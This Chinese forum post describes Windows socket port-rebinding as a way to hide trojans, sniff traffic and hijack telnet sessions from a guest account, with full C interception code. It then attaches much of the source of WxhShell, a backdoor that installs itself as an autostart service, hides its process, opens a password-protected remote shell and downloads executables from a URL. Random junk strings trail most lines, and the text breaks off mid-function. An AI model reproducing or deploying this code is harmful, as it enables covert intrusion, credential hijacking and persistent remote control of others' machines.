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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8C4@V[sm`  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -ZMl[;OM  
m~\m"zJ4  
  saddr.sin_family = AF_INET; Uu<sntyv  
-1Ki7|0,  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Szob_IEq,  
RI].LB_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Tr+Y@]"  
os0"haOI9h  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 'G By^hj?  
k1  txY  
  这意味着什么?意味着可以进行如下的攻击: i2Iu 2  
sZ(Q4)r  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?_`P;}4#  
n ;fTx  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .M#>@~XR  
&qj&WfrB,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 E!]rh,mYK  
:j!_XMyT:  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  K%~Kg9  
{s^n|b}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 So0,)  
W!Os ci  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 kO O~%|1CP  
O#ajoE  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0DjBqh$  
*xX0]{49q  
  #include X([n>w  
  #include a}8>(jtSt  
  #include 4rCqN.J  
  #include    e2H'uMy;&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   XT;IEZQZ  
  int main() 7UnO/K7oB.  
  { v?iH}7zb%Q  
  WORD wVersionRequested; CX(yrP6;  
  DWORD ret; `E%d$  
  WSADATA wsaData; x[<#mt  
  BOOL val; ^.aEKr  
  SOCKADDR_IN saddr; oHGf |  
  SOCKADDR_IN scaddr; *v-xC5L1\  
  int err; E;*TRr><  
  SOCKET s; C3 c|@7FU  
  SOCKET sc; h3 ZL0Fi*  
  int caddsize; G?X,Y\Lp  
  HANDLE mt; [}Yci:P_ +  
  DWORD tid;   j;c ^pLUP  
  wVersionRequested = MAKEWORD( 2, 2 ); Q14;G<l-  
  err = WSAStartup( wVersionRequested, &wsaData ); I.0Usa"z  
  if ( err != 0 ) { )qQg n]  
  printf("error!WSAStartup failed!\n"); 1+[|pXT}  
  return -1; 3B]+]e~  
  } Bc` A]U  
  saddr.sin_family = AF_INET; WN?`Od:y  
   fpC@3itI  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 v8M#%QoA  
m(Xr5hw:6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &_TjRj"  
  saddr.sin_port = htons(23); ~]s"PV:|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s~'C'B?  
  {  l3 Bc g  
  printf("error!socket failed!\n"); iK23`@&% _  
  return -1; Lr]Hvd   
  } Jywz27j  
  val = TRUE; \^Q)`Lqp:g  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !c' ;L'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3^Q U4  
  { @Pg@ltUd  
  printf("error!setsockopt failed!\n"); #8HXR3L5=!  
  return -1; gG?*Fi  
  } ?v*7!2;  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4C*=8oe_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 nqW:P$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Q/SC7R&"t  
6R,b 8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) xVo)!83+Q  
  { [Cr~gd+ q  
  ret=GetLastError(); 8-#2?=  
  printf("error!bind failed!\n"); _A~gqOe  
  return -1; E^ti !4{<  
  } \?I wR]@y  
  listen(s,2); g#&##f  
  while(1) {N`<e>A]{  
  { +=xRr?F  
  caddsize = sizeof(scaddr); f@X*Tlx^|  
  //接受连接请求 eNskuG|1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Oc=PJf%D#  
  if(sc!=INVALID_SOCKET) lBC-G*#  
  { zIm!8a  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &xT~;R^  
  if(mt==NULL) 0(6`dr_  
  { =)>q.R9  
  printf("Thread Creat Failed!\n"); G+p>39P   
  break; nWsz0v3'9  
  } s$G8`$+i1  
  } s&hP^tKT  
  CloseHandle(mt); `h]f(  
  } JQ4>S<ttJ  
  closesocket(s); F'Vl\qPt  
  WSACleanup(); sM_e_e  
  return 0; oVgNG!/c0  
  }   *a.*Ha  
  DWORD WINAPI ClientThread(LPVOID lpParam) kV<)>Gs  
  { )SLs  [  
  SOCKET ss = (SOCKET)lpParam; \C.@ @4{  
  SOCKET sc; n[-!Jp[  
  unsigned char buf[4096]; &g {_.n,  
  SOCKADDR_IN saddr; >C66X?0cd  
  long num; 1W7BN~p14  
  DWORD val; h0pr"]sO;$  
  DWORD ret; S?tLIi/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 t fQq3#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2geC3v% 0o  
  saddr.sin_family = AF_INET; ^%^0x'"  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9jO+ew  
  saddr.sin_port = htons(23); N$b;8F  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I'YotV7  
  { (`xnA~BN  
  printf("error!socket failed!\n"); dkC/ ?R  
  return -1; F4{<;4N0  
  } pP& M]'  
  val = 100; ^a5>`W  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {HDlv[O%  
  { z#/*LP#oY  
  ret = GetLastError(); c^k. <EA  
  return -1; iB-s*b<`~  
  }  K>eG5tt  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c,ek]dTj  
  { O,v$'r W  
  ret = GetLastError(); *5)!y d  
  return -1; >c eU!=>  
  } 3!W&J  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) RkM!BcB  
  { bq ]a8tSB  
  printf("error!socket connect failed!\n"); {xH@8T$DX  
  closesocket(sc); R MXj)~4.  
  closesocket(ss); b5R*]  
  return -1; Y6a|\K|  
  } s9>!^MzBK  
  while(1) S#dS5OX  
  { W@=ilW3RD  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 t T:yvU@a  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7L"/4w  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 jyr#e  
  num = recv(ss,buf,4096,0); .IU+4ENSy4  
  if(num>0) 1L7,x @w  
  send(sc,buf,num,0); 5K<C  
  else if(num==0) z(qz(`eGC&  
  break; ?YO%]mTP  
  num = recv(sc,buf,4096,0); iI7~9SCE  
  if(num>0) K(2s%  
  send(ss,buf,num,0); QeoDq  
  else if(num==0) f' S"F  
  break; t1S~~FLE  
  } ^Du_e(TiyK  
  closesocket(ss); wxxC&!  
  closesocket(sc); F^-4Pyq@  
  return 0 ; jK53-tF~I  
  } ;*p} ~#2  
J)o%83//  
,?+yu6eLb  
========================================================== `RRORzXoS  
P9vROzXK  
下边附上一个代码,,WXhSHELL 3OlY Ml  
.M lE1n'  
========================================================== w0iE x1i  
rB]/N,R   
#include "stdafx.h" u.6%n. g  
{'%=tJ[YX  
#include <stdio.h> TF>F7v(,45  
#include <string.h> ix;8S=eP~{  
#include <windows.h> ^(R gSMuT`  
#include <winsock2.h> D5x^O2  
#include <winsvc.h> ,PY e7c  
#include <urlmon.h> g:yK/1@Hk}  
p20Nk$.  
#pragma comment (lib, "Ws2_32.lib") V5+a[`]  
#pragma comment (lib, "urlmon.lib") 3]acfCacC  
VbjW$?  
#define MAX_USER   100 // 最大客户端连接数 ?$Pj[O^hl  
#define BUF_SOCK   200 // sock buffer ~m7+^c@,  
#define KEY_BUFF   255 // 输入 buffer vNIQc "\-  
26A#X  
#define REBOOT     0   // 重启 R#>E{[9  
#define SHUTDOWN   1   // 关机 "5Mo%cUp  
|wx1 [xZ  
#define DEF_PORT   5000 // 监听端口 [Wc 73-  
c@`P{ 6  
#define REG_LEN     16   // 注册表键长度 Wj&s5;2a  
#define SVC_LEN     80   // NT服务名长度 &n|gPp77$  
9}N*(PI  
// 从dll定义API zPe .  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >\ W" 3.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Eh+lL tZ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vq}V0- <  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J']W7!p  
k>"I!&#g  
// wxhshell配置信息 gQ~4udla.  
struct WSCFG { Ad`IgZ  
  int ws_port;         // 监听端口 -SQYr  
  char ws_passstr[REG_LEN]; // 口令 Tb^9J7]  
  int ws_autoins;       // 安装标记, 1=yes 0=no \]K-<&f  
  char ws_regname[REG_LEN]; // 注册表键名 Zh@\+1]  
  char ws_svcname[REG_LEN]; // 服务名 rk|6!kry  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0W)_5f&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n !QjptQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]+AI:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $1e@3mzM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H\T h4teE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <IYt*vlm  
4.8,&{w<m  
}; _~!,x.Dbp  
7Do)++t  
// default Wxhshell configuration \MU4"sXw  
struct WSCFG wscfg={DEF_PORT, PA E)3  
    "xuhuanlingzhe", L<: ya  
    1, JsV#:  
    "Wxhshell", S<TfvQ\,"@  
    "Wxhshell", DQSv'!KFO  
            "WxhShell Service", T(6S~; ,Z  
    "Wrsky Windows CmdShell Service", ="`y<J P  
    "Please Input Your Password: ", X^ovP'c2  
  1, ,3wo  
  "http://www.wrsky.com/wxhshell.exe", Vr'Z5F*@  
  "Wxhshell.exe" ,Gfnf%H\8>  
    }; 2rxdRg'YLQ  
sb1/4u/W  
// 消息定义模块 HwHI$IB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )~6974  
char *msg_ws_prompt="\n\r? for help\n\r#>"; MmX42;Pw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U+KbvkX wj  
char *msg_ws_ext="\n\rExit."; MIgIt"M jz  
char *msg_ws_end="\n\rQuit."; SNQ+ XtoO  
char *msg_ws_boot="\n\rReboot...";  m ]\L1&  
char *msg_ws_poff="\n\rShutdown...";  6?6 u  
char *msg_ws_down="\n\rSave to "; ;(XSw%Y H  
SV.*Z|"^N  
char *msg_ws_err="\n\rErr!"; IAfYlS#<yD  
char *msg_ws_ok="\n\rOK!"; , Le_PJY)  
n}l Z  
char ExeFile[MAX_PATH]; er53?z7zP.  
int nUser = 0; t/3veDh@  
HANDLE handles[MAX_USER]; HV}NT~  
int OsIsNt; Y !`H_Qo  
]C!u~A\jq  
SERVICE_STATUS       serviceStatus; ?mV[TM{p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^C(AMT  
9DIGK\  
// 函数声明 !o`al` q'  
int Install(void); [\VzI\vb  
int Uninstall(void); 0xC!d-VIJ  
int DownloadFile(char *sURL, SOCKET wsh); b`^$2RM&  
int Boot(int flag); +G?3j,a\  
void HideProc(void); )T>a|.  
int GetOsVer(void); eN/Jb;W  
int Wxhshell(SOCKET wsl); @-hy:th#  
void TalkWithClient(void *cs); h.67] U7m  
int CmdShell(SOCKET sock); 4EOu)#  
int StartFromService(void); c6e?)(V>  
int StartWxhshell(LPSTR lpCmdLine); _%t w#cM  
`q F:rQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lU\|F5O@#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9qw~]W~Nm  
^!A{ 4NV  
// 数据结构和表定义 }Iu6]?|'  
SERVICE_TABLE_ENTRY DispatchTable[] = "$WZd  
{ G",+jR]  
{wscfg.ws_svcname, NTServiceMain}, D,NjDIG8  
{NULL, NULL} rP*?a~<  
}; *6uiOtH  
lY6U$*9c  
// 自我安装 j*CnnM#n  
int Install(void) #oHHKl=M  
{ 'HOt?lpu!  
  char svExeFile[MAX_PATH]; FCg,p2  
  HKEY key; W7.]V)$wM  
  strcpy(svExeFile,ExeFile); aUd6 33  
h322^24-2  
// 如果是win9x系统,修改注册表设为自启动 il:+O08_  
if(!OsIsNt) { @.%ll n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WhkE&7Gk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +jHL==W&  
  RegCloseKey(key); U7{, *  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _Wgg=A"G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jML}{>Gy8S  
  RegCloseKey(key); ?A]:`l_"  
  return 0;  6CCM7  
    }  HSTtDTo  
  } hGPjH=^EM  
} S:Hg =|R  
else { 9X!OQxmg  
$PNR?  
// 如果是NT以上系统,安装为系统服务 Wt_@ vs@.O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `TAhW  
if (schSCManager!=0) >ztv3^w  
{ e\\ I,  
  SC_HANDLE schService = CreateService /H}83 C  
  ( ).k=[@@V  
  schSCManager, p`Ax)L\f  
  wscfg.ws_svcname, `2GHB@S"k  
  wscfg.ws_svcdisp, SV-pS>#  
  SERVICE_ALL_ACCESS, *r[PZ{D+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;X\,-pjv  
  SERVICE_AUTO_START, SC'fT!  
  SERVICE_ERROR_NORMAL, %h3CQk  
  svExeFile, !sUo+Y  
  NULL, la f b^  
  NULL, 94H 6`  
  NULL, YrA#NTB_o  
  NULL, + -U7ogs  
  NULL |',MgA  
  ); yY8q{\G  
  if (schService!=0) ~Q5L)}8N  
  { xqIt?v2c  
  CloseServiceHandle(schService);  $ l Y  
  CloseServiceHandle(schSCManager); Fz-Bd*uS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O"^KX5  
  strcat(svExeFile,wscfg.ws_svcname); gR%fv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =p$1v{L8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -fYgTst2  
  RegCloseKey(key); )| 3?7?X  
  return 0; mL ]zkD_  
    } 7n {uxE#U)  
  } 0z.Hl1  
  CloseServiceHandle(schSCManager); i{xgygp6f  
} 98G>I(Cw%  
} Hj LY\.S  
L= hPu#&/  
return 1; LC/6'4}_  
} ShFSBD\M#  
K`D>G<  
// 自我卸载 , LX]  
int Uninstall(void) =fEn h'KE  
{ | M4_@P  
  HKEY key; 9>%ti&_-jt  
 GVe[)R  
if(!OsIsNt) { BG/M3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j$siCsF  
  RegDeleteValue(key,wscfg.ws_regname); eNpGa0 eG  
  RegCloseKey(key); Y0 Ta&TYZ0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *e!0ZB3J  
  RegDeleteValue(key,wscfg.ws_regname); ^ola5wD  
  RegCloseKey(key); k#&d`?X  
  return 0; wm !Y5  
  } BH0].-)[y!  
} YR^J7b\  
} ma,H<0R  
else { Z-.`JkKd8  
m o nqaSF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0DV .1  
if (schSCManager!=0) wHvX|GwMv  
{ V`m'r+ Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =Z2Cg{z  
  if (schService!=0) ZXh6Se4o  
  { 4DaLmQ2O  
  if(DeleteService(schService)!=0) { 9])dLL0  
  CloseServiceHandle(schService); V)=!pT  
  CloseServiceHandle(schSCManager); iG^o@*}a  
  return 0; O'*KNJX  
  } e3}`]  
  CloseServiceHandle(schService); qlNK }  
  } 2r]80sWY  
  CloseServiceHandle(schSCManager); l`M{Ravvn*  
} fczId"   
} |gg 6|,Bt4  
tI~.3+F  
return 1; 3o5aB1   
} CI{? Kb  
mfc\w'  
// 从指定url下载文件 pa*bqPi  
int DownloadFile(char *sURL, SOCKET wsh) 0[/>> !ws  
{ fucG 9B  
  HRESULT hr; Q30A aG}f  
char seps[]= "/"; ~7IXJeon  
char *token; T%B&HsH  
char *file; #`?B:  
char myURL[MAX_PATH]; 7VduewKX8  
char myFILE[MAX_PATH]; DD{-xCCR  
#?DwOUw  
strcpy(myURL,sURL); t2uX+1F  
  token=strtok(myURL,seps); ).0klwfV  
  while(token!=NULL) B+:/!_  
  { ZF^$?;'3  
    file=token; pyJY]"UHVE  
  token=strtok(NULL,seps); E<]O,z;F  
  } DybuLB$f  
F!(Vg  
GetCurrentDirectory(MAX_PATH,myFILE); I7,5ID4pn  
strcat(myFILE, "\\"); F,5~a_GP?  
strcat(myFILE, file); )_BQ@5NK  
  send(wsh,myFILE,strlen(myFILE),0); k+b!Lw!L  
send(wsh,"...",3,0); jwhc;y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |C"(K-do  
  if(hr==S_OK) 0vR gmn  
return 0; g9C/Oj`I  
else AtU%S9  
return 1; 89hV{^  
i7D[5!  
} wr>[Eo@%\  
AH-B/c5  
// 系统电源模块 F#NuZ'U  
int Boot(int flag) t$~CLq5ad  
{ NhJ]X cfP8  
  HANDLE hToken; rMr:\M]t  
  TOKEN_PRIVILEGES tkp; j}u b  
I(m*%>  
  if(OsIsNt) { I[nSf]Vm>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bji5X')~#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  qHVZsZ  
    tkp.PrivilegeCount = 1; e7tp4M9!%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <OgwA$abl%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -J &y]'  
if(flag==REBOOT) { Z:eB9R#2y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |xYr0C[Pq  
  return 0; [h&)h+xt  
} ^cRAtoa  
else { ,i RUR 8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a=_+8RyVQ  
  return 0; %Yw?!GvL[  
} m4\e `nl  
  } {:;6 *W  
  else { (fNG51h!  
if(flag==REBOOT) { qkXnpv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l(A)Gd5>  
  return 0; <=nOyT9  
} 6&* z  
else { ]?S@g'Jd0Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A_8Xhem${  
  return 0; Q l#y7HW  
} /aV;EkyO,  
} 5]f6YlJZ  
R<djW5()f  
return 1; i1dE.f ;  
} M:M"7>:  
&c[ISc>N{  
// win9x进程隐藏模块 Uv)B  
void HideProc(void) PPAcEXsIu  
{ mP*Ct6628n  
h-.xx 4D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  ^t}1 $H  
  if ( hKernel != NULL ) "f~*4g  
  { D?.H|%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y~TD)c=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); '2z1$zst,#  
    FreeLibrary(hKernel); ^V}c8 P|  
  } ]A=yj@o$xN  
\X2r?   
return; icK>|   
} 0?o<cC1Z  
P9 w);jp;  
// 获取操作系统版本 d%Ls'[Y^_0  
int GetOsVer(void) c/lT S  
{ T{So 2@_&  
  OSVERSIONINFO winfo; yQcIfl]f  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #fx>{ vzH  
  GetVersionEx(&winfo); CSwPL>tUV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1,7  
  return 1; 3ncN) E/@  
  else )TfX}  
  return 0; 70<{tjyc  
} , Dab(  
??#SQSU  
// 客户端句柄模块 #=V\WQb  
int Wxhshell(SOCKET wsl) :u]QEZ@@  
{ ;#bDz}|\AN  
  SOCKET wsh; 6Vgxfic  
  struct sockaddr_in client; 7v&>d,  
  DWORD myID; @?JFqwq!  
x,NV{uG$n  
  while(nUser<MAX_USER) 4 _P6P  
{  "F=ta  
  int nSize=sizeof(client); 4#,,_\r  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &g"`J`  
  if(wsh==INVALID_SOCKET) return 1; kBU`Q{.  
S2jn  pf}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BgT(~8'  
if(handles[nUser]==0) d`UK mj  
  closesocket(wsh); r$:hiE@  
else Ot+Z}Z-  
  nUser++; )DGJr/)  
  } mclV" ?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~8&P*oFC  
y?V^S;}&]  
  return 0; a9u2Wlz  
}  RnSll-  
bkuJN%  
// 关闭 socket ^[&,MQU{7  
void CloseIt(SOCKET wsh) Wl7S<>hg4  
{ Q?V+ 0J  
closesocket(wsh); X[!S7[d-y  
nUser--; sd9b9?qiu  
ExitThread(0); "$/1.SX;]  
} V x{   
O\SH;y,N  
// 客户端请求句柄 sXmP<c  
void TalkWithClient(void *cs) @'A0Lq+#  
{ Y(u`K=*  
K$l@0r ~k  
  SOCKET wsh=(SOCKET)cs; ~/qBOeU3  
  char pwd[SVC_LEN]; 3 a|pk4M  
  char cmd[KEY_BUFF]; h1H$3TpP  
char chr[1]; &hUEOif  
int i,j; U[?f@.&  
$>7T s>8  
  while (nUser < MAX_USER) { )5NWUuH 5  
ik](k"1{  
if(wscfg.ws_passstr) { I7W`\d)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g[*"LOw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _pmo 6O  
  //ZeroMemory(pwd,KEY_BUFF); :uJHFF xg  
      i=0; 9}_'  
  while(i<SVC_LEN) { GYg.B<Q.  
({zWyl  
  // 设置超时 UxxX8N  
  fd_set FdRead; j#U,zsv:  
  struct timeval TimeOut; .D*~UI  
  FD_ZERO(&FdRead); gA`QV''/:  
  FD_SET(wsh,&FdRead); JZK93R  
  TimeOut.tv_sec=8; 7GTDe'T  
  TimeOut.tv_usec=0; CpB,L  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YG /@=Z.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n.i 8?:  
.SLpgYFL{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (xE |T f  
  pwd=chr[0]; [mQdc?n\  
  if(chr[0]==0xd || chr[0]==0xa) { Y/5(BK)  
  pwd=0; vN:!{)~z  
  break; 4JyA+OD4{  
  } S.{   
  i++; yh/JHo;  
    } UM`{V5NG#  
*$5p,m6G  
  // 如果是非法用户,关闭 socket /+*N.D'`t,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Qea"49R  
} F2\&rC4v  
9|3sNFGX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W/3sJc9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vvG"rU  
%|%eGidu  
while(1) { 0@[*~H0{n  
6#AEVRJKU@  
  ZeroMemory(cmd,KEY_BUFF); =av0a !  
;l1.jQh  
      // 自动支持客户端 telnet标准   B;S'l|-?  
  j=0; # E_S..  
  while(j<KEY_BUFF) { *?*~<R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vaJl}^T  
  cmd[j]=chr[0]; mP=[h |a$r  
  if(chr[0]==0xa || chr[0]==0xd) { xjSzQ| k-  
  cmd[j]=0; 4"H *hKp  
  break; rd<43  
  } [V>s]c<4`o  
  j++; & Zn`2%  
    } o='A1P  
fL# r@TB-s  
  // 下载文件 YQ.ci4.f  
  if(strstr(cmd,"http://")) { G"m?2$^-A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `qYiic%  
  if(DownloadFile(cmd,wsh)) $2,tT;50g  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); LR{bNV[i  
  else 0}"\3EdAbD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W9pY=9]p+  
  } nF_q{e7  
  else { AorY#oq  
L N Fe7<y  
    switch(cmd[0]) { 6VC|] |*  
  3y+~l H :  
  // 帮助 E p;i],}  
  case '?': { gL-kI *Ra  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wP*3Hx;S  
    break; o&&`_"18  
  } Kc95yt  
  // 安装 7y&6q`y E  
  case 'i': { nu7 R  
    if(Install()) nGe4IY\-w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w/O'&],x  
    else 6T|Z4f|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *oeXmY  
    break; j}tM0Ug.U  
    } p"c6d'qe  
  // 卸载 dq@ * 8ui  
  case 'r': { qHp2;  
    if(Uninstall()) 0O,;[l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !mTq6H12 !  
    else vBOY[>=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bS2g4]$'po  
    break; e@ D}/1~=  
    } CQNMCYjg(R  
  // 显示 wxhshell 所在路径 <tBT?#C9+  
  case 'p': { 9 " t;6  
    char svExeFile[MAX_PATH]; z@,(^~C_  
    strcpy(svExeFile,"\n\r"); Z$g'h1,zW  
      strcat(svExeFile,ExeFile); vanV|O  
        send(wsh,svExeFile,strlen(svExeFile),0); [5p3:D  
    break; u<uc"KY=  
    } !L8q]]'XM  
  // 重启 Sir1>YEm  
  case 'b': { k2$pcR,WM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E0Q6Ryn  
    if(Boot(REBOOT)) auc:|?H~1n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qR!ZtJ5j  
    else { [uHU[ sG  
    closesocket(wsh); Z{BK@Q4z  
    ExitThread(0); R.*;] R>M  
    } K}cA%Y  
    break; g-wE(L  
    } !.X/(R7J  
  // 关机 ]W$G!(3A  
  case 'd': { D4@?>ek6U  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rh1PpsSc  
